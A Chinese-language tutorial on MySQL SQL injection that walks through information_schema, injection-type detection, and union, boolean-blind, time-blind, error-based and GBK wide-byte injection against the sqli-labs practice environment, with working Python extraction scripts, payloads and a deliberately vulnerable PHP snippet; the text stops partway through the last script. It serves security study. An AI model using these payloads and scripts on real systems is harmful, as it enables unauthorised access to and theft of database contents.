SQL 注入基础

sky123

注意以下都是基于数据库是 MySQL 的情况,对于其他数据库来说过程大同小异,只不过需要注意一下数据库和表名的获取等步骤。

SQL 注入基础

数据库的结构

数据库的结构如下图所示:

  • 数据库实例(Database Instance):所有数据库通常运行在某个数据库实例上,实例是一个正在运行的数据库管理系统(DBMS)。
  • 数据库(Database):是有序的数据集合,每个数据库包含多个表。
  • 表(Table):每个数据库包含多个表。比如在 database1 中,包含了 table1table2table3
    • 查询结果也可以被视为临时表。
  • 字段(Field):表中的一列,描述了数据的某个属性。
  • 记录(Row):表中的一行,表示一条完整的数据记录。

information_schema

MySQL 5.0 以上自带了 information_schema 这个数据库,确切说是信息数据库。information_schema 中保存着关于 MySQL 服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。

SCHEMATA 表

SCHEMATA 表包含关于数据库的信息。每一行描述一个数据库(也称为模式)。

常用列

  • SCHEMA_NAME:数据库的名称。
  • **DEFAULT_CHARACTER_SET_NAME**:数据库的默认字符集。
  • **DEFAULT_COLLATION_NAME**:数据库的默认排序规则。
  • **SQL_PATH**:数据库的SQL路径。

TABLES 表

TABLES 表包含关于所有表的信息。每一行描述一个表,包括表名、所属数据库、表类型等。

常用列

  • TABLE_SCHEMA:表所在的数据库。
  • TABLE_NAME:表的名称。
  • **TABLE_TYPE**:表的类型(如 BASE TABLEVIEW)。
  • **ENGINE**:存储引擎(如 InnoDBMyISAM)。
  • **TABLE_ROWS**:表中的行数(估计值)。
  • **CREATE_TIME**:表的创建时间。

COLUMNS 表

COLUMNS 表包含关于所有表列的信息。每一行描述一个列,包括列名、数据类型、是否允许为空等。

常用列

  • TABLE_SCHEMA:表所在的数据库。
  • TABLE_NAME:表的名称。
  • COLUMN_NAME:列的名称。
  • **ORDINAL_POSITION**:列在表中的位置(从 1 开始)。
  • **COLUMN_DEFAULT**:列的默认值。
  • **IS_NULLABLE**:列是否允许为 NULL。
  • **DATA_TYPE**:列的数据类型(如 intvarchar)。
  • **CHARACTER_MAXIMUM_LENGTH**:列的最大字符长度(适用于字符数据类型)。
  • **NUMERIC_PRECISION**:列的数值精度(适用于数值数据类型)

隐式类型转换

SQL 的隐式类型转换是数据库管理系统在执行 SQL 语句时自动进行的数据类型转换过程。这种转换发生在 SQL 查询中涉及到不同数据类型的数据操作时,数据库会根据一定的规则自动将数据从一种类型转换成另一种类型,以便进行比较、计算等操作。这种转换对用户是透明的,即用户无需明确指定类型转换。

通常来说隐式类型转换是方便用户使用的,比如:

  • 数值和字符串的比较:当一个数值和一个字符串一起用于比较时,字符串通常会被尝试转换为数值类型。

    1
    SELECT '100' = 100;  -- 返回 TRUE,因为字符串 '100' 被转换为数值 100
  • 整数和浮点数的计算:在涉及整数和浮点数的运算中,整数通常会被转换为浮点数,以保持数值的精度。

    1
    SELECT 10 * 1.5;  -- 返回 15.0,整数 10 被转换为浮点数
  • 日期和字符串:在处理日期和字符串的比较时,字符串会尝试转换成日期类型,前提是字符串符合日期的格式。

    1
    SELECT '2022-01-01' = DATE '2022-01-01';  -- 返回 TRUE,字符串被转换为日期类型

在 SQL 注入中,由于传入了一些不合法的数据,导致 SQL 语句中出现类型不匹配的情况(但是 SQL 语句是合法的,因此不会报错),具体有下面几种情况:

字符串和数值之间的转换

  • 字符串开头是数字:字符串中的开头部分是数字,数据库会将字符串转换为数值,直到遇到第一个非数字字符为止。

    1
    2
    SELECT '123abc' + 0;   -- 返回 123
    SELECT '45.67xyz' + 0; -- 返回 45.67
  • 字符串不包含数字或开头不是数字:如果字符串不包含数字,或者开头部分不是数字,通常会转换为 0。

    1
    2
    SELECT 'abc123' + 0;   -- 返回 0
    SELECT 'xyz' + 0; -- 返回 0

布尔值的转换

  • 数值转换为布尔值:0 被转换为 FALSE,任何非零数值被转换为 TRUE

    1
    2
    3
    SELECT IF(0, 'true', 'false');   -- 返回 'false'
    SELECT IF(1, 'true', 'false'); -- 返回 'true'
    SELECT IF(-1, 'true', 'false'); -- 返回 'true'
  • 字符串转换为布尔值:空字符串被转换为 FALSE,非空字符串被转换为 TRUE

    1
    2
    SELECT IF('', 'true', 'false');    -- 返回 'false'
    SELECT IF('abc', 'true', 'false'); -- 返回 'true'
  • NULL 和布尔值比较:NULL 在布尔表达式中通常被视为 FALSE

    1
    SELECT IF(NULL, 'true', 'false'); -- 返回 'false'

MySQL 常见问题

SQL 注释

在 SQL 注入中为了闭合 SQL 语句最好在语句后面加一个注释来将后续的 SQL 查询语句注释掉。常用的注释方法如下:

  • --+:在 SQL 语句中 -- 表示单行注释的意思,而后面的 + 是 URL 编码后的空格,用于分隔。
  • #:在 SQL 语句中 # 表示单行注释的意思,这种单行注释方式主要在 MySQL 中流行,但并不是所有 SQL 数据库都支持。在如果修改的是 URL 编码后的内容需要将 # 改为 %23

注意:有时候由于客户端比较智能,URL 中的空格不需要编码为 %20+ 但是 # 一定要编码为 %23(虽然此时空格并没有编码),因为 # 在 URL 有实际含义(锚点),客户端不能确定它是否需要被编码。

MySQL 添加日志

要想了解 MySQL 到底执行了什么 SQL 语句可以在 MySQL 的配置文件 my.ini 中添加如下内容:

1
2
general_log=1
general_log_file="D:\phpstudy_pro\Extensions\MySQL5.7.26\data\mysql.log"

这样即可将 MySQL 的执行语句记录在 mysql.log" 中。

编码问题

有的时候查询因编码问题报如下错误:

1
ERROR 1271 (HY000): Illegal mix of collations for operation 'UNION'

这时可以尝试将查询字段的编码修改为 utf8mb4(MySQL 中支持全 Unicode 范围的字符集)。具体转换方式为 CONVERT(<field> USING utf8mb4)

SQL 注入一般过程

检测注入点

判断漏洞是否存在

根据客户端返回的结果来判断提交的测试语句是否成功被数据库引擎执行,如果测试语句被执行了,说明存在注入漏洞。

一般利用单引号(')或者双引号(")来判断是否存在漏洞,如果出现 SQL 语句错误说明有很大的可能会存在漏洞;如果是查询结果发生改变则需要根据具体漏洞类型进行检测。

判断注入类型

判断注入类型是数字型还是字符型。字符型和数字型是针对查询内容是数字的情况来区分的。这两种类型的本质区别是后端代码在拼接 sql 语句的时候会不会将用户输入的查询内容外加引号。

  • 如果将用户输入的查询内容外加引号则是字符型注入。
  • 如果没有将用户输入的查询内容外加引号则是数字型注入。

注入类型决定了在注入的过程中是否需要添加单引号来确保符号闭合。而注入类型可以通过「隐式类型转换」这种特性来判断。我们使用 1 and 1=1--+1 and 1=2--+--+ 可以替换为 %23)两个 payload 进行判断,根据查询结果判断注入类型:

  • 如果两者结果不同则说明可能是数字型注入,查询语句如下:

    1
    2
    3
    4
    SELECT first_name, last_name FROM users WHERE
    user_id = 1 and 1=1;
    SELECT first_name, last_name FROM users WHERE
    user_id = 1 and 1=2;
  • 如果两者结果相同则说明可能是字符型注入,查询语句如下(这里字符串都被隐式转换为数字 1):

    1
    2
    3
    4
    SELECT first_name, last_name FROM users WHERE
    user_id = '1 and 1=1';
    SELECT first_name, last_name FROM users WHERE
    user_id = '1 and 1=2';

构造信息泄露原语

在泄露信息前需要先构造号信息泄露原语(可以执行任意返回一个字符串/值 SELECT 语句),这样 sql 注入的利用过程会比较清晰,不容易出错。

相关函数

  • substr(string, start, length):这个函数用于截取字符串,它有以下参数:

    • 参数
      • string:需要截取的原始字符串
      • start:开始位置,从 1 开始计数
      • length:需要截取的长度,如果不填则默认截取到字符串末尾
    • 返回值
      • 返回一个新的字符串,该字符串是原始字符串中从指定位置开始,长度为指定长度的子串。
      • 如果 start 超出字符串长度,则返回一个空字符串。
      • 如果 length 超出字符串长度,则返回从 start 位置到字符串末尾的子串。
  • length(str)

    • 功能:返回字符串 str 的长度,以字节为单位

    • 参数str 是需要处理的字符串。

    • 返回值:返回一个整数,表示字符串 str 的字节长度。

    • 示例

      1
      2
      3
      4
      SELECT length('Hello');     -- 返回 5
      SELECT length('你好'); -- 返回 6 (因为每个中文字符在 UTF-8 编码中占用 3 个字节)
      SELECT length(''); -- 返回 0
      SELECT length(123); -- 返回 3 (123 隐式类型转换为 "123")
  • char_length(str)character_length(str)

    • 功能:返回字符串 str字符的个数,不管这些字符是单字节的还是多字节的。

    • 参数: str 是需要处理的字符串。

    • 返回值: 返回一个整数,表示字符串 str 中字符的个数。

    • 示例:

      1
      2
      3
      SELECT char_length('Hello');     -- 返回 5
      SELECT char_length('你好'); -- 返回 2 (因为有两个中文字符)
      SELECT char_length(''); -- 返回 0

普通注入

如果是普通的注入需要构造一个泄露信息的原语 get_data(query_data)

  • 参数 query_data 是正常在数据库中查询信息所用到的 sql 语句。
  • 返回的结果是 query_data 这条语句查询到的信息。

盲注

如果是盲注由于对于数字字符串的泄露方式不同(字符串本质是泄露若干个数字即 ASCII 码)因此需要分别构造原语:

  • 对于数字泄露需要构造 get_value(query_value) 原语:

    • 参数 query_data 是正常在数据库中查询数字所用到的 sql 语句。
    • 返回的结果是 query_value 这条语句查询到的数字。
    • 对于不同类型的盲注 get_value 函数的实现不同。
  • 对于字符串泄露需要构造 get_string(query_string) 原语:

    • 参数 query_string 是正常在数据库中查询字符串所用到的 sql 语句。

    • 返回的结果是 query_string 这条语句查询到的字符串。

    • 如果实现了 get_value 原语那么 get_string 的实现比较固定,通常实现如下:

      1
      2
      3
      4
      5
      6
      7
      8
      def get_string(query_string):
      string_len = get_value(f"length(({query_string}))")
      res_string = ''
      for i in range(string_len):
      res_string += chr(get_value(f"ascii(substr(({query_string}),{i + 1},1))"))
      return res_string

      print(get_string('database()'))

泄露信息

相关函数

  • 系统相关函数

    • version()

      • 功能:返回当前 MySQL 服务器的版本信息。

      • 返回值:一个字符串,表示 MySQL 服务器的版本号。

      • 示例

        1
        SELECT version(); -- 输出示例: "8.0.28-0ubuntu0.20.04.3"
    • user()

      • 功能:返回当前登录 MySQL 服务器的用户名。

      • 返回值:一个字符串,表示当前数据库连接的用户名。

      • 示例

        1
        SELECT user(); -- 输出示例: "root@localhost"
    • database()

      • 功能:返回当前正在使用的数据库名。

      • 返回值:一个字符串,表示当前正在使用的数据库名。如果没有选择任何数据库,则返回 NULL

      • 示例

        1
        2
        USE mydb;
        SELECT database(); -- 输出: "mydb"
    • @@datadir

      • 功能:返回当前 MySQL 服务器的数据目录路径。

      • 返回值:一个字符串,表示 MySQL 服务器的数据目录路径。

      • 示例

        1
        SELECT @@datadir; -- 输出示例: "/var/lib/mysql/"
    • @@version_compile_os

      • 功能:返回 MySQL 服务器编译时使用的操作系统版本。

      • 返回值:一个字符串,表示 MySQL 服务器编译时使用的操作系统版本。

      • 示例

        1
        SELECT @@version_compile_os; -- 输出示例: "debian-linux-gnu"
  • 字符串拼接函数

    • concat(str1, str2, ...)

      • 功能:将多个字符串拼接成一个字符串,没有分隔符。

      • 参数:需要拼接的一个或多个字符串。

      • 返回值:返回拼接后的字符串。如果任何一个参数为 NULL ,则返回 NULL 。

      • 示例

        1
        SELECT concat('Hello', ' ', 'world'); -- 输出: 'Hello world'
    • concat_ws(separator, str1, str2, ...)

      • 功能:使用指定的分隔符将多个字符串拼接成一个字符串。

      • 参数:第一个参数是分隔符,后面的参数是需要拼接的字符串。

      • 返回值:返回拼接后的字符串。如果第一个参数为 NULL ,则函数将忽略它并与 concat() 等价。

      • 示例

        1
        SELECT concat_ws('-', 'Hello', 'world', 'foo', 'bar'); -- 输出: 'Hello-world-foo-bar'
    • group_concat(str1, str2, ...)

      • 功能:将组内多个值连接成一个字符串。

      • 参数:需要连接的字符串,具体看下面的例子。

      • 返回值:返回一个字符串,包含组内所有值的连接。

      • 示例

        1
        SELECT group_concat(name) FROM users;        -- 输出: 'John,Jane,Bob,Alice'

关于字符串拼接函数这里举一个例子。例如我们有这样一个表:

1
2
3
4
5
6
7
8
9
10
mysql> select * from users;
+---------+------------+-----------+
| user_id | first_name | last_name |
+---------+------------+-----------+
| 1 | admin | admin |
| 2 | Gordon | Brown |
| 3 | Hack | Me |
| 4 | Pablo | Picasso |
| 5 | Bob | Smith |
+---------+------------+-----------+

那么 select concat(first_name, last_name) from users; 命令运行结果如下,也就是说这个函数将查到的两个列拼在一起了。

1
2
3
4
5
6
7
8
9
10
mysql> select concat(first_name, last_name) from users;
+-------------------------------+
| concat(first_name, last_name) |
+-------------------------------+
| adminadmin |
| GordonBrown |
| HackMe |
| PabloPicasso |
| BobSmith |
+-------------------------------+

select concat_ws('-', first_name, last_name) from users; 命令同样会把查到的两个列拼在一起,不过会在不同之间插入一个用户定义的分隔符。

1
2
3
4
5
6
7
8
9
10
mysql> select concat_ws('-', first_name, last_name) from users;
+---------------------------------------+
| concat_ws('-', first_name, last_name) |
+---------------------------------------+
| admin-admin |
| Gordon-Brown |
| Hack-Me |
| Pablo-Picasso |
| Bob-Smith |
+---------------------------------------+

group_concat 函数可以把整个表中查询的所有内容拼成一个字符串,在不同之间插入 , 作为分隔。

1
2
3
4
5
6
mysql> select group_concat(first_name, last_name) from users;
+-----------------------------------------------------+
| group_concat(first_name, last_name) |
+-----------------------------------------------------+
| adminadmin,GordonBrown,HackMe,PabloPicasso,BobSmith |
+-----------------------------------------------------+

我们可以把 concat_wsgroup_concat 的特性结合起来,这样就可以确保不同表格之间的内容都有分隔。

1
2
3
4
5
6
mysql> select group_concat(concat_ws('-', first_name, last_name)) from users;
+----------------------------------------------------------+
| group_concat(concat_ws('-', first_name, last_name)) |
+----------------------------------------------------------+
| admin-admin,Gordon-Brown,Hack-Me,Pablo-Picasso,Bob-Smith |
+----------------------------------------------------------+

信息泄露过程

根据 information_schema 数据库中的内容可以有如下查询顺序:

  • 查询所有数据库名称。

    1
    select concat_ws('-', schema_name) from information_schema.schemata;
  • 查询特定数据库中的所有的名称。

    1
    select group_concat(table_name) from information_schema.tables where table_schema=database();
  • 查询特定中的所有字段的名称,这里注意多个数据库中可能有相同名称的表。

    1
    select group_concat(column_name) from information_schema.columns where table_name='<table_name>' and table_schema=database();
  • 查询特定字段对应的所有记录

    1
    2
    select group_concat(<column_name>) from [database_name.]<table_name>;
    select group_concat(concat_ws('-', <column_name>, [...])) from [database_name.]<table_name>;

    具体查询可以通过前面实现的数据泄露原语完成。

联合查询注入

联合查询注入就是利用 UNION 操作符,将攻击者希望查询的语句注入到正常 SELECT 语句之后,并返回输出结果。

判断表中列数

为了方便后续获取数据,需要先知道查询的表中显示的字段数,可以使用 order by <column_num> 来进行判断。当 order by 的数字大于当前的列数时候就会报错,SQL 注入利用这个特性来判断列数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests, re

url = 'http://127.0.0.1:8888/sqli-labs/Less-1/'

column_num = 0

while True:
column_num += 1
if "Unknown column" in requests.get(f"{url}?id=1' order by {column_num}%23").text:
print(requests.get(f"{url}?id=1' order by {column_num}%23").text)
column_num -= 1
break

print(column_num)

确定显示位

在一个网站的正常页面,服务端执行 SQL 语句查询数据库中的数据,客户端将数据展示在页面中,其中展示在页面中的数据数据库查询的结果表中的位置就叫显示位

实际可以通过注入 union select 1,2,...,<column_num> 然后观察显示结果来确定显示位。

这里注意最好确保 union 左边查询的内容为空(因为有的网页只显示第一条查询到的结果),这样并上 1,2,...,<column_num> 后结果只有一行,我们只需要观察显示在页面上的结果有哪些数字即可。

1
print(requests.get(f"{url}?id=-1' union select {','.join([str(_ + 1) for _ in range(column_num)])}%23").text)

泄露原语

1
2
3
4
5
def get_data(query_data):
html_content = requests.get(f"{url}?id=-1' union select 1,({query_data}),3%23").text
return re.search(r'Your Login name:([^<\s]+)', html_content).group(1)

print(get_data("select group_concat(table_name) from information_schema.tables where table_schema=database()").split(','))

布尔盲注

盲注就是在 SQL 注入过程中,SQL 语句执行后,查询到的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。而布尔盲注就是SQL语句执行后,页面不返回具体数据,数据库只返回 0 或者 1(真 or 假)。

判断是否存在注入

  • 正常查询,返回 True(语句执行成功)或者返回 False(语句执行成功没有查询到内容)。

  • 输入引号进行看页面变化,页面返回 False ,可能存在漏洞,也可能没有查询到内容。

  • 利用 and 进行判断,比如:1 and 1=11 and 1=21' and 1=1#1’ and 1=2# ,对应 SQL 语句如下:

    1
    2
    3
    4
    5
    6
    #  如果前者执行的结果不一样,说明是数字型的布尔盲注
    select * from users where id=1 and 1=1;
    select * from users where id=1 and 1=2;
    # 如果后者执行的结果不一样,说明是字符型的布尔盲注
    select * from users where id='1' and 1=1#';
    select * from users where id='1' and 1=2#';

泄露数字

假设有一个 SQL 语句可以返回一个数字,但由于布尔盲注的条件是只返回条件判断的真假,我们无法直接获取 SQL 语句查询到的数字,但是我们可以构造对 SQL 语句查询结果的大小判断的语句从而使得问题具有单调性,进而可以二分出结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url = 'http://127.0.0.1:8888/sqli-labs/Less-8/'


def get_value(query_num, num_max=10000):
l = 0
r = num_max
while l < r:
m = (l + r) // 2
if 'You are in...........' in requests.get(f"{url}?id=1' and ({query_num})>{m}%23").text:
l = m + 1
else:
r = m
return l


print(get_value('length(database())'))

泄露字符串

假设有一个 SQL 语句可以返回一个字符串,那么我们可以先通过 length 函数获取字符串长度,然后通过 substr 函数依次截取字符串中的每个字符并通过 ascii 函数转换为 ASCII 码,这样就可以使用泄露数字的方法解决。

1
2
3
4
5
6
7
8
9
def get_string(query_string):
string_len = get_value(f"length(({query_string}))")
res_string = ''
for i in range(string_len):
res_string += chr(get_value(f"ascii(substr(({query_string}),{i + 1},1))", 255))
return res_string


print(get_string('database()'))

时间盲注

盲注就是在 SQL 注入过程中,SQL 语句执行后,查询到的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

判断是否存在注入

由于没有任何的回显内容,所以无法通过正常的方法判断是否存在注入,可以使用 1 and sleep(5)# 或者 1' and sleep(5)# 进行测试,如果页面执行有延迟,说明存在漏洞。

1
2
select * from users where id=1 and sleep(5);
select * from users where id='1' and sleep(5)#';

判断超时

时间盲注是以请求时间为判断依据的,这里通过线程执行时间来判断是否超时。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import threading


def check_timeout(func, args=(), kwargs={}, timeout_duration=2):
def target(*args, **kwargs):
func(*args, **kwargs)

thread = threading.Thread(target=target, args=args, kwargs=kwargs)
thread.start()
thread.join(timeout_duration)

if thread.is_alive():
return True # 返回 None 表示超时

return False

泄露数字

因为如果请求超时则判断时间较长,因此这里不采用二分进行优化。

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

url = 'http://127.0.0.1:8888/sqli-labs/Less-9/'


def get_value(query_num):
value = 0
while True:
if check_timeout(requests.get,
kwargs={"url": f"{url}?id=1' and if(({query_num})<={value}, sleep(3), 1)%23"},
) == True:
return value
value += 1

泄露字符串

实现完 get_value 原语之后,泄露字符串的方法与布尔盲注基本一致。

1
2
3
4
5
6
7
def get_string(query_string):
string_len = get_value(f"length(({query_string}))")
res_string = ''
for i in range(string_len):
res_string += chr(get_value(f"ascii(substr(({query_string}),{i + 1},1))"))
print(res_string)
return res_string

报错注入

SQL 报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这种手段在联合查询受限且能返回错误信息(比如 mysql_error() 函数的报错信息)的情况下比较好用。

xpath 语法错误

相关函数

MySQL 5.1.5 开始提供了两个 XML 查询和修改的函数:

  • updatexml(xml_target, xpath_expr, new_value)

    • 功能:更新 XML 文档中指定节点的值。

    • 参数

      • xml_target:要修改的 XML 文档。
      • xpath_expr:用于定位要修改的节点的 XPath 表达式。
      • new_value:新的节点值。
    • 返回值:如果成功修改,返回修改后的 XML 文档;否则返回原始 XML 文档。

    • 示例

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      SET @xml = '<book>
      <title>MySQL Book</title>
      <author>John Doe</author>
      </book>';

      SELECT updatexml(@xml, '/book/title', 'New Book Title');
      -- 输出: <book>
      -- <title>New Book Title</title>
      -- <author>John Doe</author>
      -- </book>
  • extractvalue(xml_frag, xpath_expr)

    • 功能:从 XML 文档中提取指定节点的值。

    • 参数

      • xml_frag:包含 XML 数据的字符串。
      • xpath_expr:用于定位要提取的节点的 XPath 表达式。
    • 返回值:返回 XPath 表达式所指定的节点的值。如果未找到节点,则返回 NULL 。

    • 示例

      1
      2
      3
      4
      5
      6
      7
      SET @xml = '<book>
      <title>MySQL Book</title>
      <author>John Doe</author>
      </book>';

      SELECT extractvalue(@xml, '/book/title');
      -- 输出: MySQL Book

泄露原语

因为我们只关注 xpath 参数,因此 updatexmlextractvalue 函数在漏洞利用上等价,这里只演示 extractvalue 函数的报错注入。

  • xpath 只会对特殊字符进行报错,这里我们可以用 0x7e(~) 来触发报错。
  • xpath 只会报错 32 个字符,对于输出结果大于 32 个字符的命令,要用 substr 函数截取后分段输出。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests, re

url = 'http://127.0.0.1:8888/sqli-labs/Less-5/'


def get_data(query_data):
offset = 1
res_data = ""
while True:
html_content = requests.get(f"{url}?id=-1' and extractvalue(1,concat(0x7e,substr(({query_data}),{offset},30),0x7e))%23").text
part_data = re.search(r'XPATH syntax error: \'~([^<\s]+)~', html_content)
if part_data == None: break
part_data = part_data.group(1)
res_data += part_data
if len(part_data) < 30: break
offset += len(part_data)
return res_data


print(get_data("select database()"))

虚拟表报错注入

相关函数

  • rand([seed])

    • 功能:生成一个 0 到 1 之间的随机浮点数。

      • 参数seed 是可选参数,用于指定随机数生成器的种子值。如果不指定种子值,rand() 函数将生成一个随机的种子值。
    • 示例:

      1
      SELECT rand(); -- 输出: 0.7580294616547366
  • floor(x)

    • 功能:返回小于或等于指定数字的最大整数。

    • 语法floor(x)

    • 参数x 是要向下取整的数字,可以是整数或浮点数。

    • 示例:

      1
      2
      SELECT floor(3.14); -- 输出: 3
      SELECT floor(-3.14); -- 输出: -4

基本原理

在一个字段中如果 rand 函数多次使用并且提供种子值则产生的随机数序列是确定的。比如下面这个 SQL 语句:

1
2
select floor(rand(12323) * 2) as a
from information_schema.tables;

在我的环境下该语句产生的序列如下:

1
0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, ...

然后我们有一张拥有 13 条数据的表 users 。我们执行如下 SQL 语句:

1
2
3
select floor(rand(12323) * 2) as a, count(*)
from users
group by a;

在执行 group by 语句的过程中维护了一个「虚拟表」(实际上也就是结果表),具体进行如下步骤:

  • 对于 users 表的每一行,执行 floor(rand(12323) * 2) 获得一个唯一键 a(这里用唯一约束,因此称之为唯一键)。
    • 如果 a 在虚拟表中存在则将对应的 count(*) 项加 1 。
    • 如果 a 在虚拟表中不存在则 再次执行 floor(rand(12323) * 2) 获得一个唯一键 b 然后将 b 插入到虚拟表中并且对应 count(*) 项设为 1 。

根据这一特性我们可以得出结论:floor(rand(12323) * 2) 第一次产生的值不会统计进去而是将下一个产生的值统计进去,然后总共统计表的数据条数个数。因此执行结果如下:

然而这里存在一个十分严重的问题,如果再次执行 floor(rand(12323) * 2) 获得一个唯一键 b 与原本的唯一键 a 可能不同,也就是说插入虚拟表中的唯一键 b 可能在虚拟表中已经存在,这就违反了虚拟表中唯一键唯一的原则,因此可能会产生报错。

显然触发报错的随机序列的最短长度为 4(形如 ABAB 的序列),也就是说这种方式要求查询一个行数至少为 4 的表格才能确保触发报错。我们将随机种子修改为 14 则结果如下:

从报错中我们发现重复的唯一键 0 在报错信息中输出出来了,因此我们可以在键中插入我们需要输出的查询结果就可以实现信息泄露。

泄露原语

  • 为了泄露信息需要将 query_data 拼接到 floor(rand(14) * 2) 前,这里为了区分边界在中间插入字符 ~

    1
    concat((<query_data>), 0x7e, floor(rand(14) * 2))
  • 下面的语句不能直接用 and 拼接到 where 后面的条件语句中。

    1
    select count(*), concat((<query_data>), 0x7e, floor(rand(14) * 2)) as a from information_schema.tables group by a

    因为该查询结果的列数不为 1 ,不能参与逻辑运行,会报如下错误:

    1
    [21000][1241] Operand should contain 1 column(s)
  • 为了能将该报错注入的查询语句拼接到 where 后面的条件语句中,需要在外面再套一个 select ,完整语句如下:

    1
    2
    3
    4
    SELECT *
    FROM users
    WHERE id = '1'
    and (select 1 from (select count(*), concat((<query_data>), 0x7e, floor(rand(14) * 2)) as a from information_schema.tables group by a) as b)#' LIMIT 0,1
  • 虚拟表报错只能输出键的前 64 字节,考虑到标记符 ~ 每次最多泄露 63 字节,需要多次泄露。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests, re

url = 'http://127.0.0.1:8888/sqli-labs/Less-5/'


def get_data(query_data):
offset = 1
res_data = ""
while True:
html_content = requests.get(f"{url}?id=1' and (select count(*) from (select count(*),concat(substr(({query_data}),{offset},63),0x7e,floor(rand(14)*2)) as a from information_schema.tables group by a) as b)%23").text
print(html_content)
part_data = re.search(r"Duplicate entry '([^<\s]+)~", html_content)
if part_data == None: break
part_data = part_data.group(1)
print(part_data)
res_data += part_data
if len(part_data) < 63: break
offset += len(part_data)
return res_data

print(get_data("select database()"))

宽字节注入

宽字节注入(Wide Byte Injection),有时也称为双字节注入,是一种SQL注入攻击技术,主要针对使用多字节字符集(如GBK、Big5等)的应用程序。攻击者利用这种字符集的特性,通过巧妙构造的输入数据来绕过SQL注入防护机制,从而执行恶意SQL代码。

MySQL 中的编码规则

在 MySQL 中,字符集(character set)相关的系统变量定义了服务器和客户端如何处理字符数据。这些变量可以影响数据在数据库中的存储、传输和表示方式。通过 SHOW VARIABLES LIKE '%character%' 命令,可以查看与字符集相关的系统变量及其当前的设置。

1
2
3
4
5
6
7
8
9
10
11
12
13
mysql> show variables like '%character%';
+--------------------------+--------------------------------------------------------+
| Variable_name | Value |
+--------------------------+--------------------------------------------------------+
| character_set_client | utf8 |
| character_set_connection | utf8 |
| character_set_database | utf8 |
| character_set_filesystem | binary |
| character_set_results | utf8 |
| character_set_server | utf8 |
| character_set_system | utf8 |
| character_sets_dir | D:\phpstudy_pro\Extensions\MySQL5.7.26\share\charsets\ |
+--------------------------+--------------------------------------------------------+
  • character_set_client:Web 后端代码输入的字符集。当 Web 后端代码向数据库系统发送数据时,这些数据会被假定是使用这个字符集进行编码的。
  • character_set_connection:Web 后端代码与数据库系统之间的连接使用的字符集。它指定了 Web 后端代码和数据库系统之间数据传输时所采用的字符集。
  • character_set_database:数据库系统默认的字符集。当在数据库中创建新表时,如果没有显式指定字符集,将会使用这个字符集。
  • character_set_filesystem:数据库系统文件系统默认的字符集。在 MySQL 中,文件名和路径名可能需要使用这个字符集来进行编码。
  • character_set_results:查询结果返回给 Web 后端代码时使用的字符集。即,当从数据库系统中检索数据时,数据将会被转换成这个字符集后返回给 Web 后端代码。
  • character_set_server:数据库系统使用的默认字符集。这个字符集用于数据库系统内部的默认字符处理和操作,例如默认的数据库、表、列字符集,如果这些没有单独指定的话。
  • character_set_system:数据库系统的系统字符集。这个字符集主要用于系统级的元数据存储和操作,例如系统表和信息架构(information schema)。MySQL 在启动时会根据系统环境选择一个默认的字符集。
  • character_sets_dir:字符集文件存储的目录。数据库系统使用这个目录来加载字符集的定义文件。

基本原理

例如下面这段 PHP 代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
function check_addslashes($string)
{
// 转义所有的反斜杠 (\ -> \\)
$string = preg_replace(preg_quote("/\\/"), preg_quote('\\\\'), $string);
// 使用反斜杠转义单引号 (' -> \')
$string = preg_replace(preg_quote("/'/"), preg_quote("\\'"), $string);
// 使用反斜杠转义双引号 (" -> \")
$string = preg_replace(preg_quote('/"/'), preg_quote('\\"'), $string);
return $string;
}

if (isset($_GET['id'])) {
// 获取用户输入的id并进行转义处理
$id = check_addslashes($_GET['id']);
// 设置MySQL连接的字符集为gbk
mysql_query("SET NAMES gbk");
// 构造SQL查询语句
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
// 执行SQL查询
$result = mysql_query($sql);
// 获取查询结果
$row = mysql_fetch_array($result);
...
?>

程序将用户输入中的特殊字符做了如下转义:

  • \\\
  • '\'
  • "\"

在 sql 语句中,上述字符转义后只会当成普通字符,而不会当做 sql 语句的一部分。例如 select '\''; 的结果为 '

然而由于 SET NAMES gbk 将数据库的字符集改为了 gbk 编码,因此数据库会认为后端代码传入数据库中的字符串为 gbk 编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mysql> set names gbk;
Query OK, 0 rows affected (0.00 sec)

mysql> show variables like '%character%';
+--------------------------+--------------------------------------------------------+
| Variable_name | Value |
+--------------------------+--------------------------------------------------------+
| character_set_client | gbk |
| character_set_connection | gbk |
| character_set_database | gbk |
| character_set_filesystem | binary |
| character_set_results | gbk |
| character_set_server | utf8 |
| character_set_system | utf8 |
| character_sets_dir | D:\phpstudy_pro\Extensions\MySQL5.7.26\share\charsets\ |
+--------------------------+--------------------------------------------------------+

但是事实上 php 传入的字符串仍是 utf-8 编码,因此如果我们在 ' 前面放一个 \xdf 字符,那么在 gbk 编码下 \xdf 符号位置位,应当和后面的 \x5c 组成一个汉字「運」,这就使得 \' 的转义失效,从而造成 ' 的闭合引发 sql 注入。

泄露原语

宽字节注入实际上只是一个闭合技巧,这里我实现了 union 注入的泄露原语。需要注意的是查询语句中不能有能被转义的字符,这里我通过将 "' 包裹的字符串转换成 16 进制的数字来绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests, re

url = 'http://172.30.211.208/sqli-labs/Less-32/'


def replace_with_hex(s):
# 正则表达式匹配所有单引号或双引号内的内容
pattern = r"(['\"])(.*?)\1"

def text_to_hex(text):
return ''.join(f"{ord(c):02x}" for c in text)

def replacer(match):
text_inside_quotes = match.group(2)
hex_representation = text_to_hex(text_inside_quotes)
return f"0x{hex_representation}"

# 替换所有匹配的文本
